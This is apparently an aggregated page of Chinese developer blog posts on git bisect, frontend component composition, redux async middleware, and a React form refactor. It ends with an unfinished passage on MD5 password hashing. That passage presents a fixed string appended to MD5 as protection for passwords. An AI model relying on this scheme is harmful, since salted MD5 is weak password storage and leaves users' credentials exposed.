你只需要告诉这个命令一个包含该bug的坏commit ID和一个引入该bug之前的好commit ID,这个命令会用二分法在这两个提交之间选择一个中间的commit ID,切换到那个commit ID的代码,然后询问你这是好的commit ID还是坏的commit ID,你告诉它是好还是坏,然后它会不断缩小范围,直到找到那次引入bug的凶手commit ID

这样我们就只需要分析那一次提交的代码,就能快速定位和解决这个bug(具体定位的时间取决于该次提交的代码量和你的经验),所以我们提交代码时一定要养成小批量提交的习惯,每次只提交一个小的独立功能,这样出问题了,定位起来会非常快。

接下来我就以Vue DevUI之前出现过的一个bug为例,详细介绍下如何使用git bisect这把利器。

定位过程

git bisect start 5d14c34b d577ce4
or
git bisect start HEAD d577ce4

其中5d14c34b这次是最近出现的有bug的提交,d577ce4这个是上一次发版本没问题的提交。

执行完启动bisect之后,马上就切到中间的一次提交啦,以下是打印结果:

kagol:vue-devui kagol$ git bisect start 5d14c34b d577ce4
Bisecting: 11 revisions left to test after this (roughly 4 steps)
[1cfafaaa58e03850e0c9ddc4246ae40d18b03d71] fix: read-tip icon样式泄露 (#54)

可以看到已经切到以下提交:

[1cfafaaa] fix: read-tip icon样式泄露 (#54)

执行命令:

yarn build

构建成功,所以标记下good

git bisect good
kagol:vue-devui kagol$ git bisect good
Bisecting: 5 revisions left to test after this (roughly 3 steps)
[c0c4cc1a25c5c6967b85100ee8ac636d90eff4b0] feat(drawer): add service model (#27)

标记万good,马上又通过二分法,切到了一次新的提交:

[c0c4cc1a] feat(drawer): add service model (#27)

再次执行build命令:

yarn build

build失败了,出现了我们最早遇到的报错:

✓ building client + server bundles...
✖ rendering pages...
build error:
ReferenceError: document is not defined

标记下bad,再一次切到中间的提交:

kagol:vue-devui kagol$ git bisect bad
Bisecting: 2 revisions left to test after this (roughly 2 steps)
[86634fd8efd2b808811835e7cb7ca80bc2904795] feat: add scss preprocessor in docs && fix:(Toast) single lifeMode bug in Toast

以此类推,不断地验证、标记、验证、标记...最终会提示我们那一次提交导致了这次的bug,提交者、提交时间、提交message等信息。

kagol:vue-devui kagol$ git bisect good
c0c4cc1a25c5c6967b85100ee8ac636d90eff4b0 is the first bad commit
commit c0c4cc1a25c5c6967b85100ee8ac636d90eff4b0
Author: nif <lnzhangsong@163.com>
Date: Sun Dec 26 21:37:05 2021 +0800

feat(drawer): add service model (#27)

* feat(drawer): add service model

* docs(drawer): add service model demo

* fix(drawer): remove 'console.log()'

packages/devui-vue/devui/drawer/index.ts | 7 +++--
.../devui-vue/devui/drawer/src/drawer-service.ts | 33 ++++++++++++++++++++++
packages/devui-vue/devui/drawer/src/drawer.tsx | 3 ++
packages/devui-vue/docs/components/drawer/index.md | 29 +++++++++++++++++++
4 files changed, 69 insertions(+), 3 deletions(-)
create mode 100644 packages/devui-vue/devui/drawer/src/drawer-service.ts

最终定位到出问题的commit:

c0c4cc1a is the first bad commit

github.com/DevCloudFE/…

整个定位过程几乎是机械的操作,不需要了解项目源码,不需要了解最近谁提交了什么内容,只需要无脑地:验证、标记、验证、标记,最后git会告诉我们那一次提交出错。

这么香的工具,赶紧来试试吧!

问题分析

直到哪个commit出问题了,定位起来范围就小了很多。

如果平时提交代码又能很好地遵循小颗粒提交的话,bug呼之欲出。

这里必须表扬下我们DevUI的田主(Contributor)们,他们都养成了小颗粒提交的习惯,这次导致bug的提交c0c4cc1a,只提交了4个文件,涉及70多行代码。

我们在其中搜索下document关键字,发现了两处,都在drawer-service.ts整个文件中:

一处是12行的:

static $body: HTMLElement | null = document.body

另一处是17行的:

this.$div = document.createElement('div')

最终发现罪魁祸首就是12行的代码!

破案!

作者:DevUI团队
来源:https://juejin.cn/post/7046409685561245733

收起阅读 »

前端开发的积木理论——像搭积木一样做前端开发

1 概述用户界面是由一系列组件组合而成,组件将数据和交互封装在内,仅保留必要的接口与其他组件进行通信。在前端开发中,组件就像一个一个的小积木块,我们用这些积木块拼出一个一个页面,这些页面组成了一个完整的为用户提供价值的业务。相信大部分前端工程师都使用过组件库,...
继续阅读 »



1 概述

用户界面是由一系列组件组合而成,组件将数据和交互封装在内,仅保留必要的接口与其他组件进行通信。

在前端开发中,组件就像一个一个的小积木块,我们用这些积木块拼出一个一个页面,这些页面组成了一个完整的为用户提供价值的业务。

相信大部分前端工程师都使用过组件库,比如Ant DesignElementUI,都是我们非常熟悉的组件库,以及我们团队做的DevUI组件库。

组件库就像一个工具箱,里面包含了各式各样奇形怪状、功能各异的组件,我们直接拿这些组件小积木来拼页面,非常方便。

2 界面的基本元素

从抽象的角度来看,任何用户界面都是由组件数据交互组成的。

2.1 组件

组件是一个具有一定功能的独立单元,不同的组件可以组合在一起,构成功能更强大的组件.

组件是网页的器官。

组件的概念要和HTML标签的概念区分开来,HTML标签是网页的基本单元,而组件是基于HTML标签的、包含特定功能的独立单元,可以简单理解为组件是HTML标签的一个超集。

组件内部封装的是数据和交互,对外暴露必要的接口,以与其他组件进行通信。

2.2 数据

用户界面中包含很多数据,有不变的静态数据,也有随时间和交互改变的动态数据,它们大多来自于后台数据库。

组件内部包含数据,组件之间传递的也是数据。

数据是网页的核心。

在前端开发中,数据主要以JSON格式进行存储和传递。

2.3 交互

交互是用户的操作,主要通过鼠标和键盘等计算机外设触发,点击一次按钮、在文本框中输入一些字符、按下回车键等都是交互。

在网页中,所有的交互都是通过事件的方式进行响应的。

交互是网页的灵魂,不能进行交互的网页就像干涸的河流,了无生气。

3 组件的特性

一个设计良好的组件应该包含以下特性:

  • 复用性(Reuseability)

  • 组合性(Composability)

  • 扩展性(Scalability)

3.1 复用性

组件作为一个独立的单元,除了自身的特定功能之外,不应该包含任何业务相关的数据。

组件应该能够复用到任何业务中,只要该业务需要用到组件所包含的功能。

组件应该是资源独立的,以增强组件的复用能力。

3.2 组合性

组件与组件之间可以像积木一样进行组合,组合之后的组件拥有子组件的所有功能,变得更强大。

组合的方式可以是包裹别的组件,也可以是作为参数传入别的组件中。

3.3 扩展性

可以基于现有的组件进行扩展,开发功能更加定制化的组件,以满足业务需求。

组件的可扩展能力依赖于接口的设计,接口要尽可能的灵活,以应对不断变化的需求。

4 组件间通信

4.1 从外向内通信

通过props将数据传递到组件内部,以供组件自身或其子组件使用。

props是不可变的:

  • 这意味着我们无法在组件内部修改props的原始值

  • 也意味着只有外部传入了props,才能在组件内部获取和使用它

4.2 从内向外通信

可以通过两种方式将组件内部的数据传递到组件外:

  • 通过ref属性(组件实例的引用),通过组件的ref属性,可以获取到组件实例的引用,进而获取组件内部的数据和方法

  • 通过事件回调(比如:click),通过事件回调的方式,可以通过props将一个回调函数传递到组件内部,并将组件内部的数据通过回调传递到外部

4.3 双向通信

可以通过全局context的方式进行双向通信。

父组件声明context对象,那么其下所有的子组件,不管嵌套多深,都可以使用该对象的数据,并且可以通过回调函数的方式将子组件的数据传递出来供父组件使用。

4.4 多端通信

通过事件订阅的方式可以实现多个组件之间互相通信。

通过自定义事件(Custom Event),任何组件都可以与其他组件进行通讯,采用的是发布/订阅模式,通过向事件对象上添加监听和触发事件来实现组件间通信。

5 案例

接下来通过广告详情页面的开发来演示如何用积木理论来构建网页。

设计图如下:

5.1 第一步:拆积木

将设计图拆分成有层次的积木结构。

5.1.1 顶层积木

最顶层拆分成四个大积木:

  • Header(头部组件)

  • ChartBlock(图表块组件)

  • DetailBlock(详情块组件)

  • TableBlock(表格块组件)

5.1.2 中间层积木

  • 每个大积木又可以拆分成若干小积木

  • 中间层有些是不可拆分的原子积木,比如:ButtonCheckbox

  • 有些是由原子积木组合而成的复合积木,比如:DateRangePickerTable

层次结构如下:

  • Header

    • Breadcrumb

    • Button

    • DateRangePicker

  • ChartBlock

    • Tabs

    • LineChart

    • BarChart

  • DetailBlock

    • Button

    • List

  • TableBlock

    • Checkbox

    • Select

    • Button

    • Table

5.1.3 底层积木

最底层的积木都是不可拆分的原子积木。

5.2 第二步:造积木

已经将积木的层次结构设计出来,接下来就要考虑每个层次的积木怎么制造的问题。

这一块后面会专门写一个系列文章给大家分享如何自己制造组件。

5.3 第三步:搭积木

5.3.1 顶层积木

对应的代码:

<div class="ad-detail-container">
   <Header />
   <div class="content">
       <div class="chart-detail-block">
           <ChartBlock />
           <DetailBlock />
       </div>
       <TableBlock />
   </div>
</div>

其中的<div>标签是为了布局方便加入的。

5.3.2 中间层积木

Header对应的代码:

<div class="header">
 <div class="breadcrumb-area">
   <div class="breadcrumb-current">gary audio</div>
     <div class="breadcrumb-from">
      From:
       <d-breadcrumb class="breadcrumb" separator="">
         <d-breadcrumb-item href="http://www.qq.com">Campaign List</d-breadcrumb-item>
         <span class="breadcrumb-seprator">> </span>
         <d-breadcrumb-item href="http://www.qq.com">gary audio test</d-breadcrumb-item>
       </d-breadcrumb>
     </div>
   </div>
 </div>
 <div class="operation-area">
   <d-button icon="mail" class="flat" (click)="sendReportEmail()">Send Report Email</d-button>
   <d-date-range-picker (change)="changeDate()" />
 </div>
</div>

需要注意的是:为了方便阐述积木理论的核心思想,这里的原子组件大多都是已经造好的(使用DevUI组件库),也可以选择自己制造,后面会专门写一个系列文章给大家分享如何自己制造组件。

ChartBlock对应的代码:

<div class="chart-block">
   <d-tabs [defaultActiveKey]="1">
       <d-tab-item tab="Ad performance" [key]="1">
           <d-line-chart></d-line-chart>
       </d-tab-item>
       <d-tab-item tab="Audience" [key]="2">
           <d-bar-chart></d-bar-chart>
       </d-tab-item>
   </d-tabs>
</div>

DetailBlock对应的代码:

<div class="detail-block">
   <div class="detail-header">
       <div class="detail-title">Ad detail</div>
       <div class="detail-operation">
           <d-button icon="edit" class="flat" (click)="edit()">Edit</d-button>
           <d-button icon="delete" class="flat" (click)="delete()">Delete</d-button>
           <d-button icon="eye" class="flat" (click)="preview">Preview</d-button>
       </div>
   </div>
   <d-list [data]="adDetail" [config]="detailConfig"></d-list>
</div>

TableBlock对应的代码:

<div class="table-block">
   <div class="table-operation-bar">
       <d-checkbox (change)="changeDelivery()">Has delivery</Checkbox>
       <d-select class="select-table-column" [defaultValue]="1"
           (change)="select()">
           <d-select-option value="1">Performance</d-select-option>
           <d-select-option value="2">Customize</d-select-option>
       </Select>
       <d-button icon="export" (click)="exportData()">Export Data</d-button>
   </div>
   <d-table [dataSource]="adsList" [columns]="columns"></d-table>
</div>

由于篇幅原因,这个案例并没有包含交互的部分,不过基本能够阐述清楚积木理论的核心思想。

作者:DevUI团队
来源:https://juejin.cn/post/7047503485054484516

收起阅读 »

深入理解 redux 数据流和异步过程管理

前端框架的数据流前端框架实现了数据驱动视图变化的功能,我们用 template 或者 jsx 描述好了数据和视图的绑定关系,然后就只需要关心数据的管理了。数据在组件和组件之间、组件和全局 store 之间传递,叫做前端框架的数据流。一般来说,除了某部分状态数据...
继续阅读 »


前端框架的数据流

前端框架实现了数据驱动视图变化的功能,我们用 template 或者 jsx 描述好了数据和视图的绑定关系,然后就只需要关心数据的管理了。

数据在组件和组件之间、组件和全局 store 之间传递,叫做前端框架的数据流。

一般来说,除了某部分状态数据是只有某个组件关心的,我们会把状态数据放在组件内以外,业务数据、多个组件关心的状态数据都会放在 store 里面。组件从 store 中取数据,当交互的时候去通知 store 改变对应的数据。

这个 store 不一定是 redux、mobox 这些第三方库,其实 react 内置的 context 也可以作为 store。但是 context 做为 store 有一个问题,任何组件都能从 context 中取出数据来修改,那么当排查问题的时候就特别困难,因为并不知道是哪个组件把数据改坏的,也就是数据流不清晰。

正是因为这个原因,我们几乎见不到用 context 作为 store,基本都是搭配一个 redux。

所以为什么 redux 好呢?第一个原因就是数据流清晰,改变数据有统一的入口。

组件里都是通过 dispatch 一个 action 来触发 store 的修改,而且修改的逻辑都是在 reducer 里面,组件再监听 store 的数据变化,从中取出最新的数据。

这样数据流动是单向的,清晰的,很容易管理。

这就像为什么我们在公司里想要什么权限都要走审批流,而不是直接找某人,一样的道理。集中管理流程比较清晰,而且还可以追溯。

异步过程的管理

很多情况下改变 store 数据都是一个异步的过程,比如等待网络请求返回数据、定时改变数据、等待某个事件来改变数据等,那这些异步过程的代码放在哪里呢?

组件?

放在组件里是可以,但是异步过程怎么跨组件复用?多个异步过程之间怎么做串行、并行等控制?

所以当异步过程比较多,而且异步过程与异步过程之间也不独立,有串行、并行、甚至更复杂的关系的时候,直接把异步逻辑放组件内不行。

不放组件内,那放哪呢?

redux 提供的中间件机制是不是可以用来放这些异步过程呢?

redux 中间件

先看下什么是 redux 中间件:

redux 的流程很简单,就是 dispatch 一个 action 到 store, reducer 来处理 action。那么如果想在到达 store 之前多做一些处理呢?在哪里加?

改造 dispatch!中间件的原理就是层层包装 dispatch。

下面是 applyMiddleware 的源码,可以看到 applyMiddleware 就是对 store.dispatch 做了层层包装,最后返回修改了 dispatch 之后的 store。

function applyMiddleware(middlewares) {
let dispatch = store.dispatch
middlewares.forEach(middleware =>
dispatch = middleware(store)(dispatch)
)
return { ...store, dispatch}
}

所以说中间件最终返回的函数就是处理 action 的 dispatch:

function middlewareXxx(store) {
return function (next) {
return function (action) {
// xx
};
};
};
}

中间件会包装 dispatch,而 dispatch 就是把 action 传给 store 的,所以中间件自然可以拿到 action、拿到 store,还有被包装的 dispatch,也就是 next。

比如 redux-thunk 中间件的实现:

function createThunkMiddleware(extraArgument) {
return ({ dispatch, getState }) => next => action => {
if (typeof action === 'function') {
return action(dispatch, getState, extraArgument);
}

return next(action);
};
}

const thunk = createThunkMiddleware();

它判断了如果 action 是一个函数,就执行该函数,并且把 store.dispath 和 store.getState 传进去,否则传给内层的 dispatch。

通过 redux-thunk 中间件,我们可以把异步过程通过函数的形式放在 dispatch 的参数里:

const login = (userName) => (dispatch) => {
dispatch({ type: 'loginStart' })
request.post('/api/login', { data: userName }, () => {
dispatch({ type: 'loginSuccess', payload: userName })
})
}
store.dispatch(login('guang'))

但是这样解决了组件里的异步过程不好复用、多个异步过程之间不好做并行、串行等控制的问题了么?

没有,这段逻辑依然是在组件里写,只不过移到了 dispatch 里,也没有提供多个异步过程的管理机制。

解决这个问题,需要用 redux-saga 或 redux-observable 中间件。

redux-saga

redux-saga 并没有改变 action,它会把 action 透传给 store,只是多加了一条异步过程的处理。

redux-saga 中间件是这样启用的:

import { createStore, applyMiddleware } from 'redux'
import createSagaMiddleware from 'redux-saga'
import rootReducer from './reducer'
import rootSaga from './sagas'

const sagaMiddleware = createSagaMiddleware()
const store = createStore(rootReducer, {}, applyMiddleware(sagaMiddleware))
sagaMiddleware.run(rootSaga)

要调用 run 把 saga 的 watcher saga 跑起来:

watcher saga 里面监听了一些 action,然后调用 worker saga 来处理:

import { all, takeLatest } from 'redux-saga/effects'

function* rootSaga() {
yield all([
takeLatest('login', login),
takeLatest('logout', logout)
])
}
export default rootSaga

redux-saga 会先把 action 透传给 store,然后判断下该 action 是否是被 taker 监听的:

function sagaMiddleware({ getState, dispatch }) {
return function (next) {
return function (action) {
const result = next(action);// 把 action 透传给 store

channel.put(action); //触发 saga 的 action 监听流程

return result;
}
}
}

当发现该 action 是被监听的,那么就执行相应的 taker,调用 worker saga 来处理:

function* login(action) {
try {
const loginInfo = yield call(loginService, action.account)
yield put({ type: 'loginSuccess', loginInfo })
} catch (error) {
yield put({ type: 'loginError', error })
}
}

function* logout() {
yield put({ type: 'logoutSuccess'})
}

比如 login 和 logout 会有不同的 worker saga。

login 会请求 login 接口,然后触发 loginSuccess 或者 loginError 的 action。

logout 会触发 logoutSuccess 的 action。

redux saga 的异步过程管理就是这样的:先把 action 透传给 store,然后判断 action 是否是被 taker 监听的,如果是,则调用对应的 worker saga 进行处理。

redux saga 在 redux 的 action 流程之外,加了一条监听 action 的异步处理的流程。

其实整个流程还是比较容易理解的。理解成本高一点的就是 generator 的写法了:

比如下面这段代码:

function* xxxSaga() {
while(true) {
yield take('xxx_action');
//...
}
}

它就是对每一个监听到的 xxx_action 做同样的处理的意思,相当于 takeEvery:

function* xxxSaga() {
yield takeEvery('xxx_action');
//...
}

但是因为有一个 while(true),很多同学就不理解了,这不是死循环了么?

不是的。generator 执行后返回的是一个 iterator,需要另外一个程序调用 next 方法才会继续执行。所以怎么执行、是否继续执行都是由另一个程序控制的。

在 redux-saga 里面,控制 worker saga 执行的程序叫做 task。worker saga 只是告诉了 task 应该做什么处理,通过 call、fork、put 这些命令(这些命令叫做 effect)。

然后 task 会调用不同的实现函数来执行该 worker saga。

为什么要这样设计呢?直接执行不就行了,为啥要拆成 worker saga 和 task 两部分,这样理解成本不就高了么?

确实,设计成 generator 的形式会增加理解成本,但是换来的是可测试性。因为各种副作用,比如网络请求、dispatch action 到 store 等等,都变成了 call、put 等 effect,由 task 部分控制执行。那么具体怎么执行的就可以随意的切换了,这样测试的时候只需要模拟传入对应的数据,就可以测试 worker saga 了。

redux saga 设计成 generator 的形式是一种学习成本和可测试性的权衡。

还记得 redux-thunk 有啥问题么?多个异步过程之间的并行、串行的复杂关系没法处理。那 redux-saga 是怎么解决的呢?

redux-saga 提供了 all、race、takeEvery、takeLatest 等 effect 来指定多个异步过程的关系:

比如 takeEvery 会对多个 action 的每一个做同样的处理,takeLatest 会对多个 action 的最后一个做处理,race 会只返回最快的那个异步过程的结果,等等。

这些控制多个异步过程之间关系的 effect 正是 redux-thunk 所没有的,也是复杂异步过程的管理必不可少的部分。

所以 redux-saga 可以做复杂异步过程的管理,而且具有很好的可测试性。

其实异步过程的管理,最出名的是 rxjs,而 redux-observable 就是基于 rxjs 实现的,它也是一种复杂异步过程管理的方案。

redux-observable

redux-observable 用起来和 redux-saga 特别像,比如启用插件的部分:

const epicMiddleware = createEpicMiddleware();

const store = createStore(
rootReducer,
applyMiddleware(epicMiddleware)
);

epicMiddleware.run(rootEpic);

和 redux saga 的启动流程是一样的,只是不叫 saga 而叫 epic。

但是对异步过程的处理,redux saga 是自己提供了一些 effect,而 redux-observable 是利用了 rxjs 的 operator:

import { ajax } from 'rxjs/ajax';

const fetchUserEpic = (action$, state$) => action$.pipe(
ofType('FETCH_USER'),
mergeMap(({ payload }) => ajax.getJSON(`/api/users/${payload}`).pipe(
map(response => ({
type: 'FETCH_USER_FULFILLED',
payload: response
}))
)
);

通过 ofType 来指定监听的 action,处理结束返回 action 传递给 store。

相比 redux-saga 来说,redux-observable 支持的异步过程的处理更丰富,直接对接了 operator 的生态,是开放的,而 redux-saga 则只是提供了内置的几个 effect 来处理。

所以做特别复杂的异步流程处理的时候,redux-observable 能够利用 rxjs 的操作符的优势会更明显。

但是 redux-saga 的优点还有基于 generator 的良好的可测试性,而且大多数场景下,redux-saga 提供的异步过程的处理能力就足够了,所以相对来说,redux-saga 用的更多一些。

总结

前端框架实现了数据到视图的绑定,我们只需要关心数据流就可以了。

相比 context 的混乱的数据流,redux 的 view -> action -> store -> view 的单向数据流更清晰且容易管理。

前端代码中有很多异步过程,这些异步过程之间可能有串行、并行甚至更复杂的关系,放在组件里并不好管理,可以放在 redux 的中间件里。

redux 的中间件就是对 dispatch 的层层包装,比如 redux-thunk 就是判断了下 action 是 function 就执行下,否则就是继续 dispatch。

redux-thunk 并没有提供多个异步过程管理的机制,复杂异步过程的管理还是得用 redux-saga 或者 redux-observable。

redux-saga 透传了 action 到 store,并且监听 action 执行相应的异步过程。异步过程的描述使用 generator 的形式,好处是可测试性。比如通过 take、takeEvery、takeLatest 来监听 action,然后执行 worker saga。worker saga 可以用 put、call、fork 等 effect 来描述不同的副作用,由 task 负责执行。

redux-observable 同样监听了 action 执行相应的异步过程,但是是基于 rxjs 的 operator,相比 saga 来说,异步过程的管理功能更强大。

不管是 redux-saga 通过 generator 来组织异步过程,通过内置 effect 来处理多个异步过程之间的关系,还是 redux-observable 通过 rxjs 的 operator 来组织异步过程和多个异步过程之间的关系。它们都解决了复杂异步过程的处理的问题,可以根据场景的复杂度灵活选用。

原文:https://juejin.cn/post/7011835078594527263


收起阅读 »

重构B端 ? 表单篇

随着业务的庞大。B端的业务越来越重,导致后面的需求越来越难满足,人在工位坐,锅从天上来,一个小前端就地开启了重构之旅 1. 梳理待重构的B端 上面是待重构 B端 的结构图,由 PHP 编写,利用约定的字段上传 JSON 文件,让 Controller 读取文...
继续阅读 »

随着业务的庞大。B端的业务越来越重,导致后面的需求越来越难满足,人在工位坐,锅从天上来,一个小前端就地开启了重构之旅


1. 梳理待重构的B端



上面是待重构 B端 的结构图,由 PHP 编写,利用约定的字段上传 JSON 文件,让 Controller 读取文件配置 在 DB 生成一个表,再由 Controller 直出到 View 层;在应对那些比较简单的逻辑或者功能性单一的业务时可以起到非常大的作用。但是需求只会越来越多。越来越复杂,尤其在处理复杂业务的时,整个 Controller 作为数据中枢,如果夹杂了太多的冗余逻辑,渐渐的就跟蜘蛛网一样难以维护。


2. 设计重构方案


了解完整个大概的数据走向以及业务背景之后,接下来就是设计整个重构方案了。



  • 继承之前的业务逻辑、通过 JSON 文件 渲染整个页面

  • 整体 UI 升级 ,因为用 React 重构,UI 这里选择 Antd

  • 前后端分离,本地开发先 Mock ,后期用 node 去代理或者用其他更灵活的方式交互数据


3. 配置文件改造



脚手架搭建,这里用 Antd Pro 脚手架 ( umi.js + antd ) , Router 配置 以及 React-Redux 等工具 umi 都帮我们内置了 ,基础搭建就不展开描述了。



{
"字段名称": {
"name_cfg": {
"label": "label",
"type": "select",
"tips": "tips",
"required": "required",
"max_length": 0,
"val_arr": {
"-1": "请选择",
"1": "字段 A",
"2": "字段 B",
"default": "-1"
},
"tabhide": {
"1": "A 字段, B 字段",
"2": "B 字段, C 字段",
"3": "C 字段, D 字段"
}
"relation_select": {
"url": "其他业务的接口请求",
"value": "Option id",
"name": "Option name",
"relation_field": "relation_field1, relation_field2"
}
},
"sql_cfg": {
"type": "int(11)",
"length": 11,
"primary": 0,
"default": -1,
"auto_increment": 0
}
},
...
}

这个 JSON 文件共有几十个字段,这里拿了一个比较有代表性的字段。这是一个 Select 类型的表单,val_arr 是这个 Select 的值,relation_select 请求其他业务的接口填进去这个 val_arr 供给给 Select , tabhide 表示的是,当值为 Key 时 隐藏表单的 Value 字段,多字段时以逗号分割。


此时需要一个过度文件将这个 JSON 文件处理成咋们方便处理的格式


// transfrom.js 
let Arr = [];
let Data = json.field_cfg;
for (let i in Data) {
let obj = {};
let val_Array = [];
let tab_hide = Data[i]['name_cfg']['tabhide']
for (let index in Data[i]['name_cfg']['val_arr']) {
let obj = {};
if (index !== 'default') {
obj['value'] = index;
obj['label'] = Data[i]['name_cfg']['val_arr'][index];
if(tab_hide && tab_hide[index]){
obj['tab_hide'] = tab_hide[index].split(',');
}
val_Array.push(obj);
} else {
val_Array.map((item) => {
if (item.value === Data[i]['name_cfg']['val_arr'][index]) {
item['default'] = true;
}
});
}
}
obj['id'] = i;
obj['name'] = Data[i]['name_cfg']['label'];
obj['type'] = Data[i]['name_cfg']['type'];
obj['required'] = Data[i]['name_cfg']['required'];
obj['tips'] = Data[i]['name_cfg']['tips'];
obj['multiple'] = Data[i]['name_cfg']['multiple'];
obj['val_arr'] = val_Array;
obj['sql_cfg_type'] = Data[i]['sql_cfg']['type'];
obj['sql_default'] = Data[i]['sql_cfg']['default'];
Arr.push(obj);
}

// config.js
const config = [
{
id: '字段名称',
name: 'label -> Name',
type: 'select',
required: 'required',
tips: 'tips',
val_arr: [
{ value: '-1', label: '请选择', default: true }
{ value: '1', label: 'Option A', tab_hide: ['字段A', '字段B'] }
{ value: '2', label: 'Option B', tab_hide: ['字段B', '字段C'] }
],
sql_cfg_type: 'int(11)',
sql_default: -1,
},
...
]

4. 表单渲染


Antd 的表单组件的功能非常丰富。拿到 Config 按照文档一把唆就完事了。

React 的 函数组件 和 Hooks 让代码更加简洁了,可太棒了!


  const renderForm: () => (JSX.Element | undefined)[] = () => {
// renderSelect(); renderText(); renderNumber(); renderDatePicker();
}
const renderSelect: (configItem: ConfigListData) => JSX.Element = (configItem) => {...}

const renderText: (configItem: ConfigListData) => JSX.Element = (configItem) => {...}

const renderNumber: (configItem: ConfigListData) => JSX.Element = (configItem) => {...}

const renderDatePicker: (configItem: ConfigListData) => JSX.Element = (configItem) => {...}

5. 默认字段 & 隐藏字段


componentDidMount 的时候处理这些字段,用 Hooks 可以这么表达 React.useEffect(()=>{...},[])

默认字段 : 给 Form 表单 设置上配置表的 sql_default 即可。

隐藏字段 : 这里涉及到字段会重叠,之前用 JQuery 单纯操作 DOM 节点去 show() 和 hide()。在操作 Dom 这方面,JQ 确实是有他的优势。

现在的解决方案如下图所示:


  const [hideListMap, setHideListMap] = useState<any>(new Map());
configObj.forEach((item: { val_arr: { tab_hide: any; value: any; }[]; sql_default: any; id: any; }) => {
item.val_arr.forEach((val_arr_item: { tab_hide: any; value: any; }) => {
if (val_arr_item.tab_hide && val_arr_item.value === item.sql_default) {
hideListMap.set(item.id, val_arr_item.tab_hide);
}
});
});
setHideListMap(hideListMap)

new Map() 用字段名作为 key ,value 的值为 tab_hide 数组, 之前用 Array 创建一个动态的 key 、value ,发现操作起来没有 Map 好使。


  const [hideList, setHideList] = useState<string[]>();

React.useEffect(() => {
let arr: string[] = []
hideListMap.forEach((item: any, key: any) => {
arr.push(...item);
});
setHideList(arr);
}, [hideListMap])

const selctChange = React.useCallback((value: SelectValue, configItem: ConfigListData) => {
hideListMap.forEach((item: any, key: string) => {
if (key === configItem.id) {
configItem.val_arr.forEach((val_arr_item: { value: SelectValue; tab_hide: any; }) => {
if (val_arr_item.value === value) {
hideListMap.set(configItem.id, val_arr_item.tab_hide);
setHideListMap(new Map(hideListMap))
}
})
}
});
}, [hideListMap]);

React.useEffect 不仅可以当 componentDidMount ,还可以当 componentDidUpdate 使用,只需要在第二个参数加上监听的值 React.useEffect(()=>{...},[n]), 这里监听了 hideListMap 如果 Select 框触发了 改变了 hideListMap 会自动帮我个更新 hideList,只要拿这个 hideList 作为条件判断是否渲染。就满足了多字段隐藏的需求了。


  const renderForm: () => (JSX.Element | undefined)[] = () => {
return configObj.map((item: ConfigListData) => {
if (hideList && hideList.includes(item.id)) {
return undefined
}
if (item.type === 'text') {
if (item.sql_cfg_type.indexOf('int') !== -1) {
return renderNumber(item)
} else {
return renderText(item)
}
}
if (item.type === 'select') {
return renderSelect(item)
}
if (item.type === 'datetime') {
return renderDatePicker(item);
}
return undefined;
})
}

6. Select 动态渲染值


// transfrom.js
let service = [];
let Data = json.field_cfg;
for (let i in Data) {
let relation_select = Data[i]['name_cfg']['relation_select'];
if (relation_select && relation_select['relation_field']) {
relation_select['relation_field'] = relation_select['relation_field'].split(',');
service.push(relation_select);
}
}

// config.ts
const SERVICE = [
{
url: "其他业务的接口请求",
value: "Option id",
name: "Option name",
relation_field: ["relation_field1", "relation_field2" ],
method: 'get'
}
...
]
// utils.ts
import request from 'umi-request'; // 请求库
export const getSelectApi = async (url: string, method: string) => {
return request(url, {
method,
})
}

之前接口请求与 Config 是耦合在一起的,Config 的字段如果增加到一定的数量时就会变得难以维护。最后决定把 表单Config 和 Service 层解耦,目的是为了更为直观的区别 Config 和 Service,方便以后维护。



数据接口参数格式以及字段都要有所约束。这里需要起一个 node 层,主要是处理第三方接口跨域处理,以及参数统一等。



import { CONFIG_OBJ, SERVICE } from './config';
const Form: React.FC = () => {
const [configObj, setConfigObj] = React.useState(CONFIG_OBJ);
React.useEffect(() => {
(async () => {
for (let item of SERVICE) {
for (let fieldItem of item.relation_field) { // 多字段支持
insertObj[fieldItem] = await getSelectApi(item.url, item.method)
}
}
for (let key in insertObj) {
if (key === item.id) {
item.val_arr.push(...insertObj[key].list)
}
}
setConfigObj([...configObj]);
})()
})
...
}
export default Form

将解耦出来的接口配置融合在 form 表单。useState 检测到数据指向变动就会重新渲染。

到这里 Form 表单组件基本搭建完成了。


6. 最后


再进一步思考,这里还有些优化的点,我们可以把这些配置文件也融进去这个B端里,将 Config 和 Service 都写进 DB,脱离用文件上传这种方式。


B端产品的服务群体是企业内人员。B端的用户体验也一样重要,一个优秀的B端也是提高效率、节省成本的途径之一。



本文到此结束,希望对各位看官有帮助 (‾◡◝)


作者:Coffee_C
链接:https://juejin.cn/post/6922286595290693646

收起阅读 »

聊下与 hash 有关的加密

聊下与 hash 有关的加密hash 的简单概述奥.自己百度去吧 百度比我说的详细.咱们在这介绍一下 hash 的特点注意看啊 重点来了1.算法是公开的(怎么算的不重要,腻友不是数学家)2.对相同数据运算,得到的结果是一样的3.对不同数据运算,如MD5得到的结...
继续阅读 »

聊下与 hash 有关的加密

hash 的简单概述

奥.自己百度去吧 百度比我说的详细.

咱们在这介绍一下 hash 的特点

注意看啊 重点来了

1.算法是公开的(怎么算的不重要,腻友不是数学家)

2.对相同数据运算,得到的结果是一样的

3.对不同数据运算,如MD5得到的结果默认是128位,32个字符(16进制标识)

4.逆运算的可能约等于0

5.可称之为信息指纹,是用来做数据识别

hash (MD5)加密的用途

1.用户密码的加密

比如客户端用户密码设置为 123456  ,通过 MD5加密的结果是e10adc3949ba59abbe56e057f20f883e

然后把这个e10adc3949ba59abbe56e057f20f883e发送给服务器,服务器储存的就是e10adc3949ba59abbe56e057f20f883e .  这个时候就算服务器被攻击,数据库泄露,别人拿到的也是一段加密后的结果.是不是这样就安全了

觉得安全了的同学罚站半小时. 看特点 ,上述第二条, 对相同数据运算,得到的结果是一样的!

这个意思就是说.  通过穷举字符组合的方式,创建了明文密文对应查询数据库,创建的记录约90万亿条,占用硬盘超过500TB! 这些都是 MD5加密前和加密后的数据!



看吧.  一些常用或者常规通过 MD5加密已经可以通过第三方直接查询的到了

既然 MD5这么不安全,为什么这种加密还如此风靡 . 咱们接着往下看

这个时候有经验的同学应该知道怎么办了.有一种 md5的保护.叫加盐

什么是加盐呢 .举个栗子   用户的密码是123456吧. 这在程序里是个字符串吧.字符串拼接大家都会吧 比如用户密码后边都拼接一个 handsomezuyu. 哎? 试试看

123456handsomezuyu  md5 后的结果是9a9a83b884f51deb88944461075dc538

